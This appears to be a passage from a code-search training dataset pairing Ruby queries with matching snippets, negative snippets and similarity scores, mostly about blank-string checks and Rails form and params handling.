"0.46717453",
"0.46637985"
] |
0.4738375
|
77
|
The one where we don't have ""
|
def tests_song_not_found
assert_equal =
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def just_first\n first.split(' ')[0]\n end",
"def first_non_empty(*args)\n while !args.empty?\n ret = args.shift\n return ret unless ret.to_s.empty?\n end\n return ''\n end",
"def none?\n @value.to_s.empty? or /\\Anone\\z/io.match(@value.to_s)\n end",
"def skip_include_blank?; end",
"def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end",
"def test_empty_str\n assert_equal(\"\", @target.find_first_non_repeating(\"\"))\n end",
"def first(c)\n if c and c.class == String\n return c\n elsif c and c.length > 0 \n return c[0]\n else\n return nil\n end\nend",
"def is_missing?(value)\n value.nil? or (String===value and value.strip.empty?)\n end",
"def missing(obj)\n obj.to_s.strip.empty?\n end",
"def nothing?\n\t\tjoin('').strip.empty?\n\tend",
"def nil_if_empty(value)\n value = value.strip\n return nil if value.empty?\n return value\n end",
"def blank?\n self.strip.length === 0\n end",
"def exact_match_string\n @matches.nil? ? nil : @matches[0]\n end",
"def first_wa(elements)\n elements.any? do |i|\n if i.class == String \n if i.start_with?\"wa\"\n return i\n end\n end\n end\nend",
"def blank?\n self.strip.empty?\n end",
"def blank?\n strip.empty?\n end",
"def blank?\n self.strip.size == 0\n end",
"def skip_blanks?() @skip_blanks end",
"def strip_empty?\n @strip_empty\n end",
"def effectively_empty( value )\n value.nil? || value.to_s.empty?\n end",
"def unknown?\n\t\treturn name.to_s == \"\"\n\tend",
"def is_empty(str)\n if str[0] == nil\n return true\n else\n return false\n end\nend",
"def blank?\n strip.size == 0\n end",
"def full?(board)\n !board.find { |i| i == \" \" || i == \"\"}\nend",
"def isEmpty(value) \n return value.nil? || value.strip == \"\"\nend",
"def select_string(value)\n file_exists_or_blank value.to_s.gsub(' ', '_')\n end",
"def extract_nonblanks(str)\n Types.check( binding, { :str => ComposedString } )\n\n str.gsub(/(.*)/) do |text|\n NonBlank.new(text)\n end\n end",
"def is_blank? item\n\titem.nil? || item.gsub(/\\s+/, \"\").empty?\nend",
"def check_string(string)\n string.empty? ? nil : string\n end",
"def check_if_empty\n\ttrue if self.position == \" \" #on vérifie si la case est libre.\n end",
"def interpret(value)\n value == \"\" ? nil : value\n end",
"def extract_blanks(str)\n Types.check( binding, { :str => ComposedString } )\n\n str.gsub(/(__(?:.*?)__)/) do |fragment|\n create_blank(fragment[2..-3])\n end \n end",
"def process_value(value)\n if value.nil? || value.text.strip == ''\n nil\n else\n value.text.strip\n end\nend",
"def first\n parts.find { |name| name != 'Object' } || 'Object'\n end",
"def not_keyword(string)\n\t\t(str(string) >> identifier_match.absent?).absent?\n\tend",
"def if_nil(argument)\n if argument == nil \n \"\"\n else\n argument\n end\n end",
"def first_char_idx\n dewey? ? 3 : 0\n end",
"def myspace?; myspace.to_s != \"\" end",
"def position_taken?(fir, sec)\n if (fir[sec] == \" \") || (fir[sec] == \"\") || (fir[sec] == nil)\n return false\n else\n return true\n end\nend",
"def first(string)\n return string[0]\nend",
"def match(str = T.unsafe(nil)); end",
"def match(str = T.unsafe(nil)); end",
"def test_space\n assert_equal(\" \", @target.find_first_non_repeating(\"fudge fudge\"))\n end",
"def full?\n cells.none? {|cell| cell == \" \" || cell == nil}\nend",
"def have_blanks?\n @hidden_word.match(\"_\")\n end",
"def have_blanks?\n hidden_word.match(\"_\")\n end",
"def empty? t\n !t ? true : clean(t).gsub(' ','') == ''\nend",
"def position_taken?(a,i)\r\n if a[i]==\" \" || a[i]==\"\" || a[i]==nil\r\n false\r\n else\r\n true\r\n end\r\nend",
"def is_blank_space?\n get_type == :empty\n end",
"def can_show? str\n \treturn not(str.nil? || str === \"\")\n end",
"def position_taken?(a,i)\n if a[i]==\" \" || a[i]==\"\" || a[i]==nil\n false\n else\n true\n end\nend",
"def position_taken?(cord)\n cord == \" \" || cord == \"\" || cord == nil\nend",
"def name_or_none\n name || \"\"\n end",
"def leading_quote?\n value&.start_with?('\"')\n end",
"def missing?(obj)\n obj.to_s.strip.empty?\n end",
"def string_message2(string)\n return \"It's an empty string!\" if string.empty?\n return \"The string is nonempty.\"\n end",
"def blank?\n BLANK_RE === self\n end",
"def least()\n \"\"\n end",
"def check_blank_patient_name(value)\n value.upcase.eql?('NONE') ? '' : value\n end",
"def exclude_first(str)\n str.slice(1,str.length-1)\n end",
"def start_identifier?(text = T.unsafe(nil)); end",
"def nil_or_empty_string?(obj)\n obj.nil? || obj.empty?\n end",
"def full?(board)\n board.none?{|x| x == \"\" || x == \" \" || x = nil}\nend",
"def compact_blank; end",
"def blank_from_pos?\n\t# The string @content[@pos..-1] may be nil, which justify the #to_s\n\t@content[@pos..-1].to_s.blank?\n end",
"def blank?(str)\n str.nil? || str.to_s.strip == ''\nend",
"def excl\n \"\"\n end",
"def blank?\n self !~ /[^[:space:]]/\n end",
"def position_taken?(a,b)\n if (a[b] == \" \") || (a[b] == \"\") || (a[b] == nil)\n return false\n else\n return true\n end\nend",
"def blank?\r\n empty? || BLANK_STRING_REGEXP.match(self)\r\n end",
"def first_wa(strings)\n strings.find do |string|\n string[0] ==\"w\" && string[1] == \"a\"\n end\nend",
"def _blank?(value)\n value.nil? || value == ''\n end",
"def remove_first(input, string); end",
"def strip_or_self(str) #:nodoc:\r\n str.strip! || str if str\r\n end",
"def token_data_blank?(data); !data or (data.respond_to?(:empty?) and data.empty?) end",
"def string?\n !@arg[:textValue].nil?\n end",
"def transform_empty_to_nil stringVal\n stringVal = nil unless stringVal.nil? || stringVal.length > 0\n stringVal\n end",
"def is_empty(string)\n return true if string == \"\"\n return false\nend",
"def name\n [title,url].detect{|t| !t.blank?}\n end",
"def lstrip!() end",
"def ReturnReplacementIfEmpty(valToCheck, replaceWithThis)\n\tvalToCheck.strip.empty? ? replaceWithThis : valToCheck.strip\nend",
"def empty_nil_blank?(str, raize=false)\n result = (str !~ /[^[:space:]]/ || str.nil? || str.empty?)\n raise ShellTastic::CommandException.new(\"Command is emtpy or nil\") if result and raize\n result\n end",
"def first_textfield\n _textfield_with_predicate\n end",
"def full?(board)\n board.none? {|i| i == \"\" || i == \" \"}\nend",
"def full?\n @board.detect{|entry| entry==\" \"}==nil ? true : false\nend",
"def first_name\n name ? name.split(' ',2)[0] : ''\n end",
"def first_name\n name ? name.split(' ',2)[0] : ''\n end",
"def empty?()\n @string.length <= @index\n end",
"def peek_no_space; end",
"def junky?(line)\n explode(line).select {|s| s && !s.strip.empty?}.count <= 2\n end",
"def singleq2null\n self.gsub(\"'\", '%00%27')\n end",
"def weed_nils\n subject.reject! { |s| s == \"\" } if subject.present?\n end",
"def possessify\n return \"#{self}'\" if self =~ /s$/\n return \"#{self}'s\"\n end",
"def blank?\n !!processed_content.match(/\\A(^\\s+$)*\\z/)\n end",
"def is_blank?(var)\n var.nil? or (var.is_a?(String) and var.strip.empty?)\n end",
"def where_clause\n \"\"\n end",
"def empty?\n to_s.empty?\n end",
"def isStringConstant(str)\n return (str[0].to_s == \"\\\"\" and str[str.to_s.size - 1].to_s == \"\\\"\") #if statement surrounded by quotation marks of any kinds\n\n return false\nend",
"def taken?(index) \n index = index.to_i - 1 if index.class == String\n !(@cells[index] == \" \" || @cells[index] == nil)\n end",
"def opt_in_flag\n member_supplementry_histories.first.opt_in_flag.strip rescue \"\"\n end",
"def all?\n names.include? ''\n end"
] |
[
"0.6433048",
"0.6149718",
"0.6144712",
"0.61202455",
"0.6082769",
"0.6079247",
"0.5933599",
"0.5932659",
"0.58898187",
"0.58618945",
"0.58589274",
"0.5821242",
"0.57771647",
"0.57770556",
"0.576495",
"0.5733407",
"0.5726904",
"0.57193846",
"0.57083446",
"0.56912804",
"0.56767416",
"0.5662008",
"0.56600326",
"0.56169826",
"0.5610677",
"0.5601698",
"0.55856234",
"0.55828905",
"0.55776334",
"0.5575662",
"0.55642927",
"0.55566806",
"0.55538017",
"0.551982",
"0.5519692",
"0.5515184",
"0.55121326",
"0.55046105",
"0.5498948",
"0.54981655",
"0.54858357",
"0.54858357",
"0.5485581",
"0.5473296",
"0.5473271",
"0.5464599",
"0.5461878",
"0.54592085",
"0.5452157",
"0.54439485",
"0.5433828",
"0.5427016",
"0.54197246",
"0.54184085",
"0.54182655",
"0.54174805",
"0.54047126",
"0.5403737",
"0.54036164",
"0.53997934",
"0.5384412",
"0.53620595",
"0.53525645",
"0.5342105",
"0.5340729",
"0.5335291",
"0.5331307",
"0.5330985",
"0.5330403",
"0.532913",
"0.53201604",
"0.5318925",
"0.5315367",
"0.53077745",
"0.530451",
"0.530249",
"0.5297866",
"0.5295208",
"0.528822",
"0.5270941",
"0.5261144",
"0.525969",
"0.5258464",
"0.52502394",
"0.52449167",
"0.52417076",
"0.52417076",
"0.52348614",
"0.5226952",
"0.5224884",
"0.5219947",
"0.5218729",
"0.52184045",
"0.5216165",
"0.521282",
"0.5210226",
"0.520838",
"0.5207951",
"0.51966345",
"0.519507",
"0.5194026"
] |
0.0
|
-1
|
On the initial new request, prototype from the layout. On subsequent form requests, build normally from the params.
|
def build_resource
get_resource_ivar || set_resource_ivar(built_resource)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize(request)\n @params = {}\n @params.merge! request.class.query_parse(request.params[\"QUERY_STRING\"])\n \n # Check to see if a form was submitted and fill in the form values\n if request.is_multipart?\n @params.merge! request.split_multipart\n end #if\n end",
"def new\n Log.add_info(request, params.inspect)\n render(:layout => (!request.xhr?))\n end",
"def new\n Log.add_info(request, params.inspect)\n render(:layout => (!request.xhr?))\n end",
"def new\n #@request = Request.new\n end",
"def build_form\n super\n raise ActionController::RoutingError, 'Not Found' unless work_type_specified?\n @form.payload_concern = params[:payload_concern]\n end",
"def new\n\t @request = Request.new\n\t @applicant = Applicant.find(params[:applicant_id])\n\t @room = Room.find(params[:room_id])\n\t @day = params[:day].to_i\n\t @course = params[:course].to_i\n respond_to do |format|\n\t format.html { render layout:\"form\"}# new.html.erb\n\t format.json { render json: @request }\n end\n \tend",
"def new\n @back_path = user_forms_path(current_user)\n @travel_request = TravelRequest.new\n @travel_request.travel_files.build.build_user_file\n @leave_request = @travel_request.build_leave_request \n # People can fill out travel request forms for others, \n # but the default is to fill it out for yourself\n @travel_request.form_user = current_user.name\n @travel_request.form_email = current_user.email \n\n #attempt_to_get_associated\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @travel_request }\n end\n end",
"def initialize\n @params = {} # Mimics params hash available within controllers in rails app\n end",
"def new\n\n\n @current_partner_id = session[:current_partner_id] || Partner.where(:app_id => 'html5_vm').first.id \n @partners = Partner.all\n @request = Request.new\n\n @request.partner_id = session[:partner_id] if session[:partner_id]\n @request.url = session[:url] if session[:url] \n @request.parametres = session[:parametres] if session[:parametres]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n render(\n :new,\n layout: false,\n locals: local_vars.merge(\n all_clinics: Renalware::Pathology::Clinic.for_algorithm,\n all_consultants: Renalware::Pathology::Consultant.ordered,\n all_templates: Renalware::Pathology::Requests::Request::TEMPLATES\n )\n )\n end",
"def new\n @object ||= @Klass.new\n @update_span = params[:update]\n @parent_class = params[:parent_class]\n begin\n @parent_id = params[:parent_id]\n foreign_key = @Klass.reflect_on_association(@parent_class.underscore.to_sym).options[:foreign_key] || @parent_class.foreign_key\n @object[foreign_key] = @parent_id\n end unless @parent_class.nil? || @Klass.reflect_on_association(@parent_class.underscore.to_sym).nil?\n\n @object.inline_forms_attribute_list = @inline_forms_attribute_list if @inline_forms_attribute_list\n respond_to do |format|\n format.html { render 'inline_forms/_new', :layout => 'inline_forms' } unless @Klass.not_accessible_through_html?\n format.js { }\n end\n end",
"def request_params; end",
"def init_page(request, params)\r\n init_request\r\n end",
"def build_params\n hash = build(\"#{singular_key}_form\").\n public_send(\"#{singular_key}_attributes\")\n\n hash = hash.each_with_object({}) do |(key, value), object|\n object[\"#{singular_key}_#{key}\"] = value\n end\n\n { \"#{singular_key}_form\".to_sym => hash }\n end",
"def new\n Log.add_info(request, params.inspect)\n\n render(:action => 'edit', :layout => (!request.xhr?))\n end",
"def prov_set_form_vars(req = nil)\n @edit ||= {}\n session[:prov_options] = @options = nil # Clearing out options that were set on show screen\n @edit[:req_id] = req.try(:id) # Save existing request record id, if passed in\n @edit[:key] = \"prov_edit__#{@edit[:req_id] || \"new\"}\"\n options = req.try(:get_options) || {} # Use existing request options, if passed in\n @edit[:new] = options unless @workflow_exists\n # request originated from controller\n @edit[:org_controller] = params[:org_controller] || \"vm\"\n @edit[:wf], pre_prov_values = workflow_instance_from_vars(req)\n\n if @edit[:wf]\n @edit[:wf].get_dialog_order.each do |d|\n if @edit[:wf].get_dialog(d)[:display] == :show\n @edit[:new][:current_tab_key] = d\n break\n end\n end\n @edit[:buttons] = @edit[:wf].get_buttons\n @edit[:wf].init_from_dialog(@edit[:new]) # Create a new provision workflow for this edit session\n @timezone_offset = get_timezone_offset\n if @edit[:new][:schedule_time]\n @edit[:new][:schedule_time] = format_timezone(@edit[:new][:schedule_time], Time.zone, \"raw\")\n @edit[:new][:start_date] = \"#{@edit[:new][:schedule_time].month}/#{@edit[:new][:schedule_time].day}/#{@edit[:new][:schedule_time].year}\" # Set the start date\n if params[:req_id]\n @edit[:new][:start_hour] = @edit[:new][:schedule_time].hour.to_s\n @edit[:new][:start_min] = @edit[:new][:schedule_time].min.to_s\n else\n @edit[:new][:start_hour] = \"00\"\n @edit[:new][:start_min] = \"00\"\n end\n end\n @edit[:new][:src_vm_id] = [nil, nil] unless @edit[:new][:src_vm_id]\n # Check that the provisioning template exists\n if @edit[:wf].request_type == 'template' && @edit[:new][:src_vm_id][0].present?\n @edit[:new][:src_vm_id][0] = nil unless MiqTemplate.exists?(@edit[:new][:src_vm_id][0])\n end\n @edit[:new][tag_symbol_for_workflow] ||= [] # Initialize for new record\n @edit[:current] ||= {}\n @edit[:current] = copy_hash(@edit[:new])\n # Give the model a change to modify the dialog based on the default settings\n # common grids\n @edit[:wf].refresh_field_values(@edit[:new])\n if pre_prov_values\n @edit[:new] = @edit[:new].delete_nils\n @edit[:new] = @edit[:new].merge(pre_prov_values.reject { |k| @edit[:new].key?(k) })\n end\n\n if @edit[:wf].kind_of?(ManageIQ::Providers::Foreman::ConfigurationManager::ProvisionWorkflow) ||\n @edit[:wf].kind_of?(PhysicalServerProvisionWorkflow)\n # BD TODO\n else\n @edit[:ds_sortdir] ||= \"DESC\"\n @edit[:ds_sortcol] ||= \"free_space\"\n @edit[:host_sortdir] ||= \"ASC\"\n @edit[:host_sortcol] ||= \"name\"\n build_host_grid(@edit[:wf].send(\"allowed_hosts\"), @edit[:host_sortdir], @edit[:host_sortcol])\n build_ds_grid(@edit[:wf].send(\"allowed_storages\"), @edit[:ds_sortdir], @edit[:ds_sortcol])\n if @edit[:wf].kind_of?(MiqProvisionWorkflow)\n @edit[:vm_sortdir] ||= \"ASC\"\n @edit[:vm_sortcol] ||= \"name\"\n @edit[:vc_sortdir] ||= \"ASC\"\n @edit[:vc_sortcol] ||= \"name\"\n @edit[:template_sortdir] ||= \"ASC\"\n @edit[:template_sortcol] ||= \"name\"\n build_vm_grid(@edit[:wf].send(\"allowed_templates\"), @edit[:vm_sortdir], @edit[:vm_sortcol], build_template_filter)\n if @edit[:wf].supports_pxe?\n build_pxe_img_grid(@edit[:wf].send(\"allowed_images\"), @edit[:pxe_img_sortdir], @edit[:pxe_img_sortcol])\n build_host_grid(@edit[:wf].send(\"allowed_hosts\"), @edit[:host_sortdir], @edit[:host_sortcol])\n build_template_grid(@edit[:wf].send(\"allowed_customization_templates\"), @edit[:template_sortdir], @edit[:template_sortcol])\n elsif @edit[:wf].supports_iso?\n build_iso_img_grid(@edit[:wf].send(\"allowed_iso_images\"), @edit[:iso_img_sortdir], @edit[:iso_img_sortcol])\n else\n build_vc_grid(@edit[:wf].send(\"allowed_customization_specs\"), @edit[:vc_sortdir], @edit[:vc_sortcol])\n end\n elsif @edit[:wf].kind_of?(VmMigrateWorkflow)\n else\n @edit[:template_sortdir] ||= \"ASC\"\n @edit[:template_sortcol] ||= \"name\"\n build_pxe_img_grid(@edit[:wf].send(\"allowed_images\"), @edit[:pxe_img_sortdir], @edit[:pxe_img_sortcol])\n build_iso_img_grid(@edit[:wf].send(\"allowed_iso_images\"), @edit[:iso_img_sortdir], @edit[:iso_img_sortcol])\n build_host_grid(@edit[:wf].send(\"allowed_hosts\"), @edit[:host_sortdir], @edit[:host_sortcol])\n build_template_grid(@edit[:wf].send(\"allowed_customization_templates\"), @edit[:template_sortdir], @edit[:template_sortcol])\n end\n end\n else\n @edit[:current] ||= {}\n @edit[:current] = copy_hash(@edit[:new])\n end\n end",
"def new\n @request = Request.new\n respond_with(@request)\n end",
"def form_params\n @form_params ||= FormParamsController.new config\n end",
"def prepare_and_render_form\n @context = Results::ResponseFormContext.new(\n read_only: action_name == \"show\" || cannot?(:modify_answers, @response)\n )\n\n # The blank response is used for rendering placeholders for repeat groups\n @blank_response = Response.new(form: @response.form)\n Results::BlankResponseTreeBuilder.new(@blank_response).build\n\n render(:form)\n end",
"def prepare_and_render_form\n # create a blank mission assignment with the appropriate user_id for the boilerplate, but don't add it to the collection\n @blank_assignment = Assignment.new(:active => true, :user_id => current_user.id)\n\n # get assignable missons and roles for this user\n @assignable_missions = Mission.accessible_by(current_ability, :assign_to)\n @assignable_roles = Ability.assignable_roles(current_user)\n\n render(:form)\n end",
"def prepare_and_render_form\n # get the users to which this response can be assigned\n # which is the users in this mission plus admins\n # (we need to include admins because they can submit forms to any mission)\n @possible_submitters = User.assigned_to_or_admin(current_mission).by_name\n\n # render the form\n render(:form)\n end",
"def load_attributes_form\n @symbole = Symbole.new if @symbole.nil?\n if params[:form_name].present?\n respond_to do |format|\n format.js { render \"ajax_form_\"+params[:form_name] }\n end\n end\n end",
"def new\n @request = Request.new\n end",
"def params\n @_params ||= ActionController::ManagebleParameters.new(request.parameters)\n end",
"def params() request.params end",
"def new\n @request = Request.new\n @states = State.all()\n @request.requestor = Requestor.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @request }\n end\n end",
"def new\n\n # check if params[:layout_id] is present\n if not params[:layout_id]\n\n # if not redirect to layout page\n redirect_to admin_layouts_path(:parent_id => params[:parent_id])\n\n else # params[:layout_id] is present\n\n #initializing an empty object\n @page = Page.new\n\n #retrieve parent_id parameter\n @page.parent_id = params[:parent_id]\n\n #retrieving layout id from params and assigning to a variable\n @layout = params[:layout_id]\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n #calling method to build page parts\n build_page_parts(@parts)\n\n #sends data in different formats\n respond_to do |format|\n\n format.html{render :template => 'mcms_pages/admin/pages/new'}# new.html.erb\n format.json { render json: @page }\n\n end # end respond_to block\n\n end # end if\n\n end",
"def initialize\n super()\n @params = {}\n end",
"def from_form_data(params = {})\n from_params(params, false)\n end",
"def params\n return FormArray.new(@cobj.cur.clop.to_form)\n end",
"def new_basic_predetails\n\t\t@petsitter = Petsitter.new #object that form will bind to \n\t\t\n\t\t# we could have put what is below directly in the view but the controller's job is supposed to be to ask data from the model and set it up for the views - the view should be completely decoupled from the model( the view should never know of the model's existence )\n\t\t@all_residential_areas_in_nairobi = ResidentialArea.all\n\tend",
"def new\n\t\tlogger.info \"Before Materialization\"\n\t\tformObject = @client.materialize(\"TQM_Form__c\")\n\t\t#myForm = formObject.find(\"a0AU0000000zrwg\")\n\t\tmyForm = formObject.new\n\t\tmyForm[\"iForm_Table_Name__c\"]=\"test\"\n\t\tmyForm[\"Salesforce_Object__c\"]=\"test\"\n\t\tmyForm.name = \"my name\"\n\t\tmyForm.save\n\t\tputs \"After Materialization\"\n\t\tlogger.info \"After Materialization\"\n\t\tlogger.info myForm[\"name\"]\n\t\tlogger.info myForm[\"iForm_Table_Name__c\"]\n\t\t@lead = Lead.new\n\t\t@lead['OwnerId'] = '005U0000000ZSTx'\n\t\t@lead['IsConverted'] = false\n\t\t@lead['IsUnreadByOwner'] = true\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render json: @lead }\n\t\tend\n\tend",
"def prepare_params_for_view\n # parameters used when render views \n @project = Project.new(@project_params)\n @tasks = []\n @tasks_params.each do |i, task_params|\n @tasks << Task.new(task_params)\n end\n end",
"def build #title, form_name, form_action, script='', append_body='')\n \n @disable = []\n \n xhtml = %Q{ \n <html> \n <head>\n <title>#{self.meta['title']}</title>\n }\n if self.meta['stylesheets']\n self.meta['stylesheets'].each { |css|\n xhtml += %Q{ <link type=\"text/css\" src=\"#{css}\" /> \\n }\n }\n end\n if self.meta['javascripts']\n self.meta['javascripts'].each { |js|\n xhtml += %Q{ <script langauge=\"javascript\" src=\"#{jc}\" /> \\n }\n }\n end\n #xhtml += %Q{\n # <style type=\"text/css\">\n # #{build_css(self.style)}\n # </style>\n #}\n xhtml += %Q{ </head> }\n xhtml += %Q{\n <body onload=\"javascript: loadScript();\">\n #{self.meta['prepend']}\n #{self.main.build}\n #{self.meta['append']}\n </body>\n </html>\n }\n return CGI::pretty(xhtml)\n #return PrettyXML.pretty(html, 2)\n end",
"def new\n @used_part = UsedPart.new\n prepFormVariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @used_part}\n end\n end",
"def create\n data = JSON.parse params[:request]\n\n kids = data[\"kids\"]\n data.delete \"kids\"\n\n formsFields = {}\n @@formsFieldsNames.each do |name|\n formsFields[ name ] = data[ name ]\n data.delete name\n end\n\n appartments = data[\"appartments\"]\n data.delete \"appartments\"\n\n if data[\"id\"]\n @request = Request.find data[\"id\"]\n @request.assign_attributes data.except(\"id\")\n else\n @request = Request.new(data)\n end\n\n @request.user = current_user\n\n kids.each do |kid|\n if kid[\"id\"].present?\n kidModel = @request.kids.find_by_id kid[\"id\"]\n kidModel.update kid.except(\"index\")\n else\n @request.kids.new kid.except(\"index\")\n end\n end\n\n @@formsFieldsNames.each do |name|\n formsData = formsFields[name]\n\n if formsData.present?\n formsData.each do |form|\n prefix = if form[\"spouse\"] then \"spouse_\" else \"\" end\n suffix = \"_#{ form['index'] }\"\n\n forms = @request.send(name)\n additional_data = {}\n\n files = params[\"#{ prefix }#{ name }#{ suffix }\"]\n if files.present?\n uploaded_form = UploadedForm.new\n files.each do |file|\n uploaded_form.uploaded_files.new file: file\n end\n additional_data = { uploaded_form: uploaded_form }\n end\n\n if form[\"id\"].present?\n formModel = forms.find_by_id form[\"id\"]\n formModel.update form.except(\"index\", \"uploaded_form\").merge additional_data\n else\n forms.new form.except(\"index\").merge additional_data\n end\n end\n end\n end\n\n if appartments.present?\n appartments.each do |appt|\n if appt[\"id\"].present?\n apptModel = @request.appartments.find_by_id appt[\"id\"]\n apptModel.update appt.except(\"index\", \"spouseName\")\n else\n @request.appartments.new appt.except(\"index\", \"spouseName\")\n end\n end\n end\n \n respond_to do |format|\n if @request.save\n # format.html { redirect_to @request }\n # format.json { render :show, status: :created, location: @request }\n format.html { redirect_to action: \"save_success\" }\n else\n format.html { render :new }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_form_vars\n @sm = @edit[:sm_id] ? StorageManager.find_by_id(@edit[:sm_id]) : StorageManager.new\n\n @edit[:new][:name] = params[:name] if params[:name]\n @edit[:new][:hostname] = params[:hostname] if params[:hostname]\n @edit[:new][:ipaddress] = params[:ipaddress] if params[:ipaddress]\n @edit[:new][:port] = params[:port] if params[:port]\n @edit[:new][:sm_type] = params[:sm_type] if params[:sm_type]\n # @edit[:new][:agent_type] = params[:agent_typ] if params[:agent_typ]\n @edit[:new][:zone] = params[:server_zone] if params[:server_zone]\n\n @edit[:new][:userid] = params[:userid] if params[:userid]\n @edit[:new][:password] = params[:password] if params[:password]\n @edit[:new][:verify] = params[:verify] if params[:verify]\n restore_password if params[:restore_password]\n set_verify_status\n end",
"def new\n\t\t@form = @client.forms.new\n\n \n 3.times do\n procedure = @form.procedures.build\n end\n 3.times do\n authemp = @form.authemps.build\n end\n\n\t\trespond_to do |format|\n \t\tformat.html # show.html.erb\n \t\tformat.json { render json: @form }\n \t\tend\n\tend",
"def prepare_request(params)\n request = process_params(params)\n request.store(:sizes, [extract_size(params.size)]) if params.size\n request.store(:format, params.format) if params.format\n request.store(:data, params.data) if params.data\n request.store(:uploader, params.uploader) if params.uploader\n request.store(:pages, params.pages) if params.pages\n request.store(:callback_url, params.callback_url) if params.callback_url\n request\n end",
"def new\n @request = Request.new\n @items = session[:item_ids]\n @request.requestor_id = current_user.id\n if current_user.is_partner?\n @request.status = 'pending'\n else\n @request.status = 'approved'\n end \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end",
"def new\n @request_call = RequestCall.new\n\n respond_to do |format|\n format.html { render :layout => false }# new.html.erb\n format.json { render json: @request_call }\n end\n end",
"def set_new_form_vars\n @edit = {}\n @edit[:key] = \"sm_edit__new\"\n @edit[:new] = {}\n @edit[:current] = {}\n\n @edit[:new][:name] = nil\n @edit[:sm_types] = StorageManager.storage_manager_types\n @edit[:new][:hostname] = nil\n @edit[:new][:ipaddress] = nil\n @edit[:new][:port] = nil\n @edit[:new][:sm_type] = nil\n # @edit[:new][:agent_type] = nil\n @edit[:new][:zone] = \"default\"\n @edit[:server_zones] = []\n zones = Zone.all\n zones.each do |zone|\n @edit[:server_zones].push(zone.name)\n end\n\n @edit[:new][:userid] = nil\n @edit[:new][:password] = nil\n @edit[:new][:verify] = nil\n\n session[:verify_sm_status] = nil\n set_verify_status\n\n @edit[:current] = @edit[:new].dup\n session[:edit] = @edit\n end",
"def prepare_data(params)\n build_ingest_form\n build_uploader(params[:upload], params[:upload_cache])\n build_asset(params[:id], params[:template_id])\n assign_form_attributes(params)\n find_unmapped_rdf\n end",
"def new\n\t\t# no code needed here; all handled in the view\n\tend",
"def form_params\n location_args.merge(units: @units, appid: @api_key)\n end",
"def new\n @instance = @setup_controller[:model].new()\n @parent = @setup_controller[:parent_exists] && params[:parent_id] && params[:parent_id].to_i > 0 ? @setup_controller[:model].find_by_id(params[:parent_id]) : nil \n @back_to_parent = (@parent.blank? || @parent.ancestors.count == 0 ? \"\" : (@parent.children.count == 0 ? @parent.ancestors[0].id : @parent.id))\n\n\n respond_to do |format|\n format.html {render \"shared/dynamic/new\"} \n format.js do \n @element_id, @partial = 'list_main_div', 'shared/dynamic/new_main'\n render 'shared/replace_content'\n end\n end\n end",
"def new\n @outside_request = OutsideRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outside_request }\n end\n end",
"def POST\n @env[\"action_controller.request.request_parameters\"] ||= begin\n normalize_parameters(super || {})\n rescue\n {}\n end\n end",
"def new\n @go_to_law = params[:go_to_law]\n @go_to_checkout = params[:go_to_checkout]\n @is_monthly = params[:is_monthly]\n @is_annually = params[:is_annually]\n @is_student = params[:is_student]\n @pricing_onboarding = params[:pricing_onboarding]\n # session[:return_to] = params[:return_to] if params[:return_to]\n super\n\n end",
"def get_form_vars\n @ems = @edit[:ems_id] ? model.find_by_id(@edit[:ems_id]) : model.new\n\n @edit[:new][:name] = params[:name] if params[:name]\n @edit[:new][:ipaddress] = @edit[:new][:hostname] = \"\" if params[:server_emstype]\n @edit[:new][:provider_region] = params[:provider_region] if params[:provider_region]\n @edit[:new][:hostname] = params[:hostname] if params[:hostname]\n if params[:server_emstype]\n @edit[:new][:provider_region] = @ems.provider_region\n @edit[:new][:emstype] = params[:server_emstype]\n if [\"openstack\", \"openstack_infra\"].include?(params[:server_emstype])\n @edit[:new][:port] = @ems.port ? @ems.port : 5000\n @edit[:new][:api_version] = @ems.api_version ? @ems.api_version : 'v2'\n @edit[:new][:default_security_protocol] = @ems.security_protocol ? @ems.security_protocol : 'ssl'\n elsif params[:server_emstype] == ManageIQ::Providers::Kubernetes::ContainerManager.ems_type\n @edit[:new][:port] = @ems.port ? @ems.port : ManageIQ::Providers::Kubernetes::ContainerManager::DEFAULT_PORT\n elsif params[:server_emstype] == ManageIQ::Providers::Openshift::ContainerManager.ems_type\n @edit[:new][:port] = @ems.port ? @ems.port : ManageIQ::Providers::Openshift::ContainerManager::DEFAULT_PORT\n elsif params[:server_emstype] == ManageIQ::Providers::OpenshiftEnterprise::ContainerManager.ems_type\n @edit[:new][:port] = @ems.port ? @ems.port : ManageIQ::Providers::OpenshiftEnterprise::ContainerManager::DEFAULT_PORT\n else\n @edit[:new][:port] = nil\n end\n\n if [\"openstack\", \"openstack_infra\"].include?(params[:server_emstype])\n @edit[:protocols] = retrieve_openstack_security_protocols\n else\n @edit[:protocols] = [[_('Basic (SSL)'), 'ssl'], ['Kerberos', 'kerberos']]\n end\n end\n @edit[:new][:port] = params[:port] if params[:port]\n @edit[:new][:api_version] = params[:api_version] if params[:api_version]\n @edit[:new][:provider_id] = params[:provider_id] if params[:provider_id]\n @edit[:new][:zone] = params[:server_zone] if params[:server_zone]\n\n @edit[:new][:default_userid] = params[:default_userid] if params[:default_userid]\n @edit[:new][:default_password] = params[:default_password] if params[:default_password]\n @edit[:new][:default_verify] = params[:default_verify] if params[:default_verify]\n\n @edit[:new][:metrics_userid] = params[:metrics_userid] if params[:metrics_userid]\n @edit[:new][:metrics_password] = params[:metrics_password] if params[:metrics_password]\n @edit[:new][:metrics_verify] = params[:metrics_verify] if params[:metrics_verify]\n\n @edit[:new][:amqp_userid] = params[:amqp_userid] if params[:amqp_userid]\n @edit[:new][:amqp_password] = params[:amqp_password] if params[:amqp_password]\n @edit[:new][:amqp_verify] = params[:amqp_verify] if 